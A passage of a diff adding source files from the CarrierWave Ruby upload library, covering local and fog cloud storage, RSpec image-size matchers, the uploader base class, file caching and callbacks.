# [file (CarrierWave::SanitizedFile)] the file to store
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [CarrierWave::SanitizedFile] a sanitized file
|
||||||
|
#
|
||||||
|
def store!(file)
|
||||||
|
path = ::File.expand_path(uploader.store_path, uploader.root)
|
||||||
|
if uploader.move_to_store
|
||||||
|
file.move_to(path, uploader.permissions)
|
||||||
|
else
|
||||||
|
file.copy_to(path, uploader.permissions)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Retrieve the file from its store path
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [identifier (String)] the filename of the file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [CarrierWave::SanitizedFile] a sanitized file
|
||||||
|
#
|
||||||
|
def retrieve!(identifier)
|
||||||
|
path = ::File.expand_path(uploader.store_path(identifier), uploader.root)
|
||||||
|
CarrierWave::SanitizedFile.new(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # File
|
||||||
|
end # Storage
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,358 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
begin
|
||||||
|
require 'fog'
|
||||||
|
rescue LoadError
|
||||||
|
raise "You don't have the 'fog' gem installed"
|
||||||
|
end
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Storage
|
||||||
|
|
||||||
|
##
|
||||||
|
# Stores things using the "fog" gem.
|
||||||
|
#
|
||||||
|
# fog supports storing files with AWS, Google, Local and Rackspace
|
||||||
|
#
|
||||||
|
# You need to setup some options to configure your usage:
|
||||||
|
#
|
||||||
|
# [:fog_credentials] credentials for service
|
||||||
|
# [:fog_directory] specifies name of directory to store data in, assumed to already exist
|
||||||
|
#
|
||||||
|
# [:fog_attributes] (optional) additional attributes to set on files
|
||||||
|
# [:fog_host] (optional) non-default host to serve files from
|
||||||
|
# [:fog_public] (optional) public readability, defaults to true
|
||||||
|
# [:fog_authenticated_url_expiration] (optional) time (in seconds) that authenticated urls
|
||||||
|
# will be valid, when fog_public is false and provider is AWS or Google, defaults to 600
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# AWS credentials contain the following keys:
|
||||||
|
#
|
||||||
|
# [:aws_access_key_id]
|
||||||
|
# [:aws_secret_access_key]
|
||||||
|
# [:region] (optional) defaults to 'us-east-1'
|
||||||
|
# :region should be one of ['eu-west-1', 'us-east-1', 'ap-southeast-1', 'us-west-1', 'ap-northeast-1']
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Google credentials contain the following keys:
|
||||||
|
# [:google_storage_access_key_id]
|
||||||
|
# [:google_storage_secrete_access_key]
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Local credentials contain the following keys:
|
||||||
|
#
|
||||||
|
# [:local_root] local path to files
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Rackspace credentials contain the following keys:
|
||||||
|
#
|
||||||
|
# [:rackspace_username]
|
||||||
|
# [:rackspace_api_key]
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# A full example with AWS credentials:
|
||||||
|
# CarrierWave.configure do |config|
|
||||||
|
# config.fog_credentials = {
|
||||||
|
# :aws_access_key_id => 'xxxxxx',
|
||||||
|
# :aws_secret_access_key => 'yyyyyy',
|
||||||
|
# :provider => 'AWS'
|
||||||
|
# }
|
||||||
|
# config.fog_directory = 'directoryname'
|
||||||
|
# config.fog_public = true
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
class Fog < Abstract
|
||||||
|
class << self
|
||||||
|
def connection_cache
|
||||||
|
@connection_cache ||= {}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Store a file
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [file (CarrierWave::SanitizedFile)] the file to store
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [CarrierWave::Storage::Fog::File] the stored file
|
||||||
|
#
|
||||||
|
def store!(file)
|
||||||
|
f = CarrierWave::Storage::Fog::File.new(uploader, self, uploader.store_path)
|
||||||
|
f.store(file)
|
||||||
|
f
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Retrieve a file
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [identifier (String)] unique identifier for file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [CarrierWave::Storage::Fog::File] the stored file
|
||||||
|
#
|
||||||
|
def retrieve!(identifier)
|
||||||
|
CarrierWave::Storage::Fog::File.new(uploader, self, uploader.store_path(identifier))
|
||||||
|
end
|
||||||
|
|
||||||
|
def connection
|
||||||
|
@connection ||= begin
|
||||||
|
credentials = uploader.fog_credentials
|
||||||
|
self.class.connection_cache[credentials] ||= ::Fog::Storage.new(credentials)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class File
|
||||||
|
|
||||||
|
##
|
||||||
|
# Current local path to file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] a path to file
|
||||||
|
#
|
||||||
|
attr_reader :path
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return all attributes from file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Hash] attributes from file
|
||||||
|
#
|
||||||
|
def attributes
|
||||||
|
file.attributes
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return a temporary authenticated url to a private file, if available
|
||||||
|
# Only supported for AWS and Google providers
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] temporary authenticated url
|
||||||
|
# or
|
||||||
|
# [NilClass] no authenticated url available
|
||||||
|
#
|
||||||
|
def authenticated_url(options = {})
|
||||||
|
if ['AWS', 'Google'].include?(@uploader.fog_credentials[:provider])
|
||||||
|
# avoid a get by using local references
|
||||||
|
local_directory = connection.directories.new(:key => @uploader.fog_directory)
|
||||||
|
local_file = local_directory.files.new(:key => path)
|
||||||
|
if @uploader.fog_credentials[:provider] == "AWS"
|
||||||
|
local_file.url(::Fog::Time.now + @uploader.fog_authenticated_url_expiration, options)
|
||||||
|
else
|
||||||
|
local_file.url(::Fog::Time.now + @uploader.fog_authenticated_url_expiration)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Lookup value for file content-type header
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] value of content-type
|
||||||
|
#
|
||||||
|
def content_type
|
||||||
|
@content_type || file.content_type
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Set non-default content-type header (default is file.content_type)
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] returns new content type value
|
||||||
|
#
|
||||||
|
def content_type=(new_content_type)
|
||||||
|
@content_type = new_content_type
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Remove the file from service
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] true for success or raises error
|
||||||
|
#
|
||||||
|
def delete
|
||||||
|
# avoid a get by just using local reference
|
||||||
|
directory.files.new(:key => path).destroy
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# deprecated: All attributes from file (includes headers)
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Hash] attributes from file
|
||||||
|
#
|
||||||
|
def headers
|
||||||
|
location = caller.first
|
||||||
|
warning = "[yellow][WARN] headers is deprecated, use attributes instead[/]"
|
||||||
|
warning << " [light_black](#{location})[/]"
|
||||||
|
Formatador.display_line(warning)
|
||||||
|
attributes
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(uploader, base, path)
|
||||||
|
@uploader, @base, @path = uploader, base, path
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Read content of file from service
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] contents of file
|
||||||
|
def read
|
||||||
|
file.body
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return size of file body
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Integer] size of file body
|
||||||
|
#
|
||||||
|
def size
|
||||||
|
file.content_length
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Check if the file exists on the remote service
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] true if file exists or false
|
||||||
|
def exists?
|
||||||
|
!!directory.files.head(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Write file to service
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] true on success or raises error
|
||||||
|
def store(new_file)
|
||||||
|
fog_file = new_file.to_file
|
||||||
|
@content_type ||= new_file.content_type
|
||||||
|
@file = directory.files.create({
|
||||||
|
:body => fog_file ? fog_file : new_file.read,
|
||||||
|
:content_type => @content_type,
|
||||||
|
:key => path,
|
||||||
|
:public => @uploader.fog_public
|
||||||
|
}.merge(@uploader.fog_attributes))
|
||||||
|
fog_file.close if fog_file && !fog_file.closed?
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return a url to a public file, if available
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] public url
|
||||||
|
# or
|
||||||
|
# [NilClass] no public url available
|
||||||
|
#
|
||||||
|
def public_url
|
||||||
|
if host = @uploader.fog_host
|
||||||
|
if host.respond_to? :call
|
||||||
|
"#{host.call(self)}/#{path}"
|
||||||
|
else
|
||||||
|
"#{host}/#{path}"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
# AWS/Google optimized for speed over correctness
|
||||||
|
case @uploader.fog_credentials[:provider]
|
||||||
|
when 'AWS'
|
||||||
|
# if directory is a valid subdomain, use that style for access
|
||||||
|
if @uploader.fog_directory.to_s =~ /^(?:[a-z]|\d(?!\d{0,2}(?:\d{1,3}){3}$))(?:[a-z0-9]|(?![\-])|\-(?![\.])){1,61}[a-z0-9]$/
|
||||||
|
"https://#{@uploader.fog_directory}.s3.amazonaws.com/#{path}"
|
||||||
|
else
|
||||||
|
# directory is not a valid subdomain, so use path style for access
|
||||||
|
"https://s3.amazonaws.com/#{@uploader.fog_directory}/#{path}"
|
||||||
|
end
|
||||||
|
when 'Google'
|
||||||
|
"https://commondatastorage.googleapis.com/#{@uploader.fog_directory}/#{path}"
|
||||||
|
else
|
||||||
|
# avoid a get by just using local reference
|
||||||
|
directory.files.new(:key => path).public_url
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return url to file, if avaliable
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] url
|
||||||
|
# or
|
||||||
|
# [NilClass] no url available
|
||||||
|
#
|
||||||
|
def url(options = {})
|
||||||
|
if !@uploader.fog_public
|
||||||
|
authenticated_url(options)
|
||||||
|
else
|
||||||
|
public_url
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
##
|
||||||
|
# connection to service
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Fog::#{provider}::Storage] connection to service
|
||||||
|
#
|
||||||
|
def connection
|
||||||
|
@base.connection
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# local reference to directory containing file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Fog::#{provider}::Directory] containing directory
|
||||||
|
#
|
||||||
|
def directory
|
||||||
|
@directory ||= begin
|
||||||
|
connection.directories.new(
|
||||||
|
:key => @uploader.fog_directory,
|
||||||
|
:public => @uploader.fog_public
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# lookup file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Fog::#{provider}::File] file data from remote service
|
||||||
|
#
|
||||||
|
def file
|
||||||
|
@file ||= directory.files.head(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Fog
|
||||||
|
|
||||||
|
end # Storage
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,241 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Test
|
||||||
|
|
||||||
|
##
|
||||||
|
# These are some matchers that can be used in RSpec specs, to simplify the testing
|
||||||
|
# of uploaders.
|
||||||
|
#
|
||||||
|
module Matchers
|
||||||
|
|
||||||
|
class BeIdenticalTo # :nodoc:
|
||||||
|
def initialize(expected)
|
||||||
|
@expected = expected
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(actual)
|
||||||
|
@actual = actual
|
||||||
|
FileUtils.identical?(@actual, @expected)
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message
|
||||||
|
"expected #{@actual.inspect} to be identical to #{@expected.inspect}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def negative_failure_message
|
||||||
|
"expected #{@actual.inspect} to not be identical to #{@expected.inspect}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def description
|
||||||
|
"be identical to #{@expected.inspect}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def be_identical_to(expected)
|
||||||
|
BeIdenticalTo.new(expected)
|
||||||
|
end
|
||||||
|
|
||||||
|
class HavePermissions # :nodoc:
|
||||||
|
def initialize(expected)
|
||||||
|
@expected = expected
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(actual)
|
||||||
|
@actual = actual
|
||||||
|
# Satisfy expectation here. Return false or raise an error if it's not met.
|
||||||
|
(File.stat(@actual.path).mode & 0777) == @expected
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} to have permissions #{@expected.to_s(8)}, but they were #{(File.stat(@actual.path).mode & 0777).to_s(8)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def negative_failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} not to have permissions #{@expected.to_s(8)}, but it did"
|
||||||
|
end
|
||||||
|
|
||||||
|
def description
|
||||||
|
"have permissions #{@expected.to_s(8)}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def have_permissions(expected)
|
||||||
|
HavePermissions.new(expected)
|
||||||
|
end
|
||||||
|
|
||||||
|
class BeNoLargerThan # :nodoc:
|
||||||
|
def initialize(width, height)
|
||||||
|
@width, @height = width, height
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(actual)
|
||||||
|
@actual = actual
|
||||||
|
# Satisfy expectation here. Return false or raise an error if it's not met.
|
||||||
|
image = ImageLoader.load_image(@actual.current_path)
|
||||||
|
@actual_width = image.width
|
||||||
|
@actual_height = image.height
|
||||||
|
@actual_width <= @width && @actual_height <= @height
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} to be no larger than #{@width} by #{@height}, but it was #{@actual_width} by #{@actual_height}."
|
||||||
|
end
|
||||||
|
|
||||||
|
def negative_failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} to be larger than #{@width} by #{@height}, but it wasn't."
|
||||||
|
end
|
||||||
|
|
||||||
|
def description
|
||||||
|
"be no larger than #{@width} by #{@height}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def be_no_larger_than(width, height)
|
||||||
|
BeNoLargerThan.new(width, height)
|
||||||
|
end
|
||||||
|
|
||||||
|
class HaveDimensions # :nodoc:
|
||||||
|
def initialize(width, height)
|
||||||
|
@width, @height = width, height
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(actual)
|
||||||
|
@actual = actual
|
||||||
|
# Satisfy expectation here. Return false or raise an error if it's not met.
|
||||||
|
image = ImageLoader.load_image(@actual.current_path)
|
||||||
|
@actual_width = image.width
|
||||||
|
@actual_height = image.height
|
||||||
|
@actual_width == @width && @actual_height == @height
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} to have an exact size of #{@width} by #{@height}, but it was #{@actual_width} by #{@actual_height}."
|
||||||
|
end
|
||||||
|
|
||||||
|
def negative_failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} not to have an exact size of #{@width} by #{@height}, but it did."
|
||||||
|
end
|
||||||
|
|
||||||
|
def description
|
||||||
|
"have an exact size of #{@width} by #{@height}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def have_dimensions(width, height)
|
||||||
|
HaveDimensions.new(width, height)
|
||||||
|
end
|
||||||
|
|
||||||
|
class BeNoWiderThan # :nodoc:
|
||||||
|
def initialize(width)
|
||||||
|
@width = width
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(actual)
|
||||||
|
@actual = actual
|
||||||
|
# Satisfy expectation here. Return false or raise an error if it's not met.
|
||||||
|
image = ImageLoader.load_image(@actual.current_path)
|
||||||
|
@actual_width = image.width
|
||||||
|
@actual_width <= @width
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} to be no wider than #{@width}, but it was #{@actual_width}."
|
||||||
|
end
|
||||||
|
|
||||||
|
def negative_failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} not to be wider than #{@width}, but it is."
|
||||||
|
end
|
||||||
|
|
||||||
|
def description
|
||||||
|
"have a width less than or equal to #{@width}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def be_no_wider_than(width)
|
||||||
|
BeNoWiderThan.new(width)
|
||||||
|
end
|
||||||
|
|
||||||
|
class BeNoTallerThan # :nodoc:
|
||||||
|
def initialize(height)
|
||||||
|
@height = height
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(actual)
|
||||||
|
@actual = actual
|
||||||
|
# Satisfy expectation here. Return false or raise an error if it's not met.
|
||||||
|
image = ImageLoader.load_image(@actual.current_path)
|
||||||
|
@actual_height = image.height
|
||||||
|
@actual_height <= @height
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} to be no taller than #{@height}, but it was #{@actual_height}."
|
||||||
|
end
|
||||||
|
|
||||||
|
def negative_failure_message
|
||||||
|
"expected #{@actual.current_path.inspect} not to be taller than #{@height}, but it is."
|
||||||
|
end
|
||||||
|
|
||||||
|
def description
|
||||||
|
"have a height less than or equal to #{@height}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def be_no_taller_than(height)
|
||||||
|
BeNoTallerThan.new(height)
|
||||||
|
end
|
||||||
|
|
||||||
|
class ImageLoader # :nodoc:
|
||||||
|
def self.load_image(filename)
|
||||||
|
if defined? ::MiniMagick
|
||||||
|
MiniMagickWrapper.new(filename)
|
||||||
|
else
|
||||||
|
unless defined? ::Magick
|
||||||
|
begin
|
||||||
|
require 'rmagick'
|
||||||
|
rescue LoadError
|
||||||
|
require 'RMagick'
|
||||||
|
rescue LoadError
|
||||||
|
puts "WARNING: Failed to require rmagick, image processing may fail!"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
MagickWrapper.new(filename)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class MagickWrapper # :nodoc:
|
||||||
|
attr_reader :image
|
||||||
|
def width
|
||||||
|
image.columns
|
||||||
|
end
|
||||||
|
|
||||||
|
def height
|
||||||
|
image.rows
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(filename)
|
||||||
|
@image = ::Magick::Image.read(filename).first
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class MiniMagickWrapper # :nodoc:
|
||||||
|
attr_reader :image
|
||||||
|
def width
|
||||||
|
image[:width]
|
||||||
|
end
|
||||||
|
|
||||||
|
def height
|
||||||
|
image[:height]
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(filename)
|
||||||
|
@image = ::MiniMagick::Image.open(filename)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Matchers
|
||||||
|
end # Test
|
||||||
|
end # CarrierWave
|
||||||
|
|
|
@ -0,0 +1,45 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
##
|
||||||
|
# See CarrierWave::Uploader::Base
|
||||||
|
#
|
||||||
|
module Uploader
|
||||||
|
|
||||||
|
##
|
||||||
|
# An uploader is a class that allows you to easily handle the caching and storage of
|
||||||
|
# uploaded files. Please refer to the README for configuration options.
|
||||||
|
#
|
||||||
|
# Once you have an uploader you can use it in isolation:
|
||||||
|
#
|
||||||
|
# my_uploader = MyUploader.new
|
||||||
|
# my_uploader.cache!(File.open(path_to_file))
|
||||||
|
# my_uploader.retrieve_from_store!('monkey.png')
|
||||||
|
#
|
||||||
|
# Alternatively, you can mount it on an ORM or other persistence layer, with
|
||||||
|
# +CarrierWave::Mount#mount_uploader+. There are extensions for activerecord and datamapper
|
||||||
|
# these are *very* simple (they are only a dozen lines of code), so adding your own should
|
||||||
|
# be trivial.
|
||||||
|
#
|
||||||
|
class Base
|
||||||
|
attr_reader :file
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
include CarrierWave::Uploader::Proxy
|
||||||
|
include CarrierWave::Uploader::Url
|
||||||
|
include CarrierWave::Uploader::Mountable
|
||||||
|
include CarrierWave::Uploader::Cache
|
||||||
|
include CarrierWave::Uploader::Store
|
||||||
|
include CarrierWave::Uploader::Download
|
||||||
|
include CarrierWave::Uploader::Remove
|
||||||
|
include CarrierWave::Uploader::ExtensionWhitelist
|
||||||
|
include CarrierWave::Uploader::Processing
|
||||||
|
include CarrierWave::Uploader::Versions
|
||||||
|
include CarrierWave::Uploader::DefaultUrl
|
||||||
|
include CarrierWave::Uploader::Configuration
|
||||||
|
include CarrierWave::Uploader::Serialization
|
||||||
|
end # Base
|
||||||
|
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,169 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
class FormNotMultipart < UploadError
|
||||||
|
def message
|
||||||
|
"You tried to assign a String or a Pathname to an uploader, for security reasons, this is not allowed.\n\n If this is a file upload, please check that your upload form is multipart encoded."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Generates a unique cache id for use in the caching system
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] a cache id in the format YYYYMMDD-HHMM-PID-RND
|
||||||
|
#
|
||||||
|
def self.generate_cache_id
|
||||||
|
Time.now.strftime('%Y%m%d-%H%M') + '-' + Process.pid.to_s + '-' + ("%04d" % rand(9999))
|
||||||
|
end
|
||||||
|
|
||||||
|
module Uploader
|
||||||
|
module Cache
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
include CarrierWave::Uploader::Configuration
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Removes cached files which are older than one day. You could call this method
|
||||||
|
# from a rake task to clean out old cached files.
|
||||||
|
#
|
||||||
|
# You can call this method directly on the module like this:
|
||||||
|
#
|
||||||
|
# CarrierWave.clean_cached_files!
|
||||||
|
#
|
||||||
|
# === Note
|
||||||
|
#
|
||||||
|
# This only works as long as you haven't done anything funky with your cache_dir.
|
||||||
|
# It's recommended that you keep cache files in one place only.
|
||||||
|
#
|
||||||
|
def clean_cached_files!(seconds=60*60*24)
|
||||||
|
Dir.glob(File.expand_path(File.join(cache_dir, '*'), CarrierWave.root)).each do |dir|
|
||||||
|
time = dir.scan(/(\d{4})(\d{2})(\d{2})-(\d{2})(\d{2})/).first.map { |t| t.to_i }
|
||||||
|
time = Time.utc(*time)
|
||||||
|
if time < (Time.now.utc - seconds)
|
||||||
|
FileUtils.rm_rf(dir)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns true if the uploader has been cached
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Bool] whether the current file is cached
|
||||||
|
#
|
||||||
|
def cached?
|
||||||
|
@cache_id
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Caches the remotely stored file
|
||||||
|
#
|
||||||
|
# This is useful when about to process images. Most processing solutions
|
||||||
|
# require the file to be stored on the local filesystem.
|
||||||
|
#
|
||||||
|
def cache_stored_file!
|
||||||
|
sanitized = SanitizedFile.new :tempfile => StringIO.new(file.read),
|
||||||
|
:filename => File.basename(path), :content_type => file.content_type
|
||||||
|
|
||||||
|
cache! sanitized
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns a String which uniquely identifies the currently cached file for later retrieval
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] a cache name, in the format YYYYMMDD-HHMM-PID-RND/filename.txt
|
||||||
|
#
|
||||||
|
def cache_name
|
||||||
|
File.join(cache_id, full_original_filename) if cache_id and original_filename
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Caches the given file. Calls process! to trigger any process callbacks.
|
||||||
|
#
|
||||||
|
# By default, cache!() uses copy_to(), which operates by copying the file
|
||||||
|
# to the cache, then deleting the original file. If move_to_cache() is
|
||||||
|
# overriden to return true, then cache!() uses move_to(), which simply
|
||||||
|
# moves the file to the cache. Useful for large files.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [new_file (File, IOString, Tempfile)] any kind of file object
|
||||||
|
#
|
||||||
|
# === Raises
|
||||||
|
#
|
||||||
|
# [CarrierWave::FormNotMultipart] if the assigned parameter is a string
|
||||||
|
#
|
||||||
|
def cache!(new_file)
|
||||||
|
new_file = CarrierWave::SanitizedFile.new(new_file)
|
||||||
|
|
||||||
|
unless new_file.empty?
|
||||||
|
raise CarrierWave::FormNotMultipart if new_file.is_path? && ensure_multipart_form
|
||||||
|
|
||||||
|
with_callbacks(:cache, new_file) do
|
||||||
|
self.cache_id = CarrierWave.generate_cache_id unless cache_id
|
||||||
|
|
||||||
|
@filename = new_file.filename
|
||||||
|
self.original_filename = new_file.filename
|
||||||
|
|
||||||
|
if move_to_cache
|
||||||
|
@file = new_file.move_to(cache_path, permissions)
|
||||||
|
else
|
||||||
|
@file = new_file.copy_to(cache_path, permissions)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Retrieves the file with the given cache_name from the cache.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [cache_name (String)] uniquely identifies a cache file
|
||||||
|
#
|
||||||
|
# === Raises
|
||||||
|
#
|
||||||
|
# [CarrierWave::InvalidParameter] if the cache_name is incorrectly formatted.
|
||||||
|
#
|
||||||
|
def retrieve_from_cache!(cache_name)
|
||||||
|
with_callbacks(:retrieve_from_cache, cache_name) do
|
||||||
|
self.cache_id, self.original_filename = cache_name.to_s.split('/', 2)
|
||||||
|
@filename = original_filename
|
||||||
|
@file = CarrierWave::SanitizedFile.new(cache_path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def cache_path
|
||||||
|
File.expand_path(File.join(cache_dir, cache_name), root)
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_reader :cache_id, :original_filename
|
||||||
|
|
||||||
|
# We can override the full_original_filename method in other modules
|
||||||
|
alias_method :full_original_filename, :original_filename
|
||||||
|
|
||||||
|
def cache_id=(cache_id)
|
||||||
|
raise CarrierWave::InvalidParameter, "invalid cache id" unless cache_id =~ /\A[\d]{8}\-[\d]{4}\-[\d]+\-[\d]{4}\z/
|
||||||
|
@cache_id = cache_id
|
||||||
|
end
|
||||||
|
|
||||||
|
def original_filename=(filename)
|
||||||
|
raise CarrierWave::InvalidParameter, "invalid filename" if filename =~ CarrierWave::SanitizedFile.sanitize_regexp
|
||||||
|
@original_filename = filename
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Cache
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,35 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Callbacks
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
included do
|
||||||
|
class_attribute :_before_callbacks, :_after_callbacks,
|
||||||
|
:instance_writer => false
|
||||||
|
self._before_callbacks = Hash.new []
|
||||||
|
self._after_callbacks = Hash.new []
|
||||||
|
end
|
||||||
|
|
||||||
|
def with_callbacks(kind, *args)
|
||||||
|
self.class._before_callbacks[kind].each { |c| send c, *args }
|
||||||
|
yield
|
||||||
|
self.class._after_callbacks[kind].each { |c| send c, *args }
|
||||||
|
end
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
def before(kind, callback)
|
||||||
|
self._before_callbacks = self._before_callbacks.
|
||||||
|
merge kind => _before_callbacks[kind] + [callback]
|
||||||
|
end
|
||||||
|
|
||||||
|
def after(kind, callback)
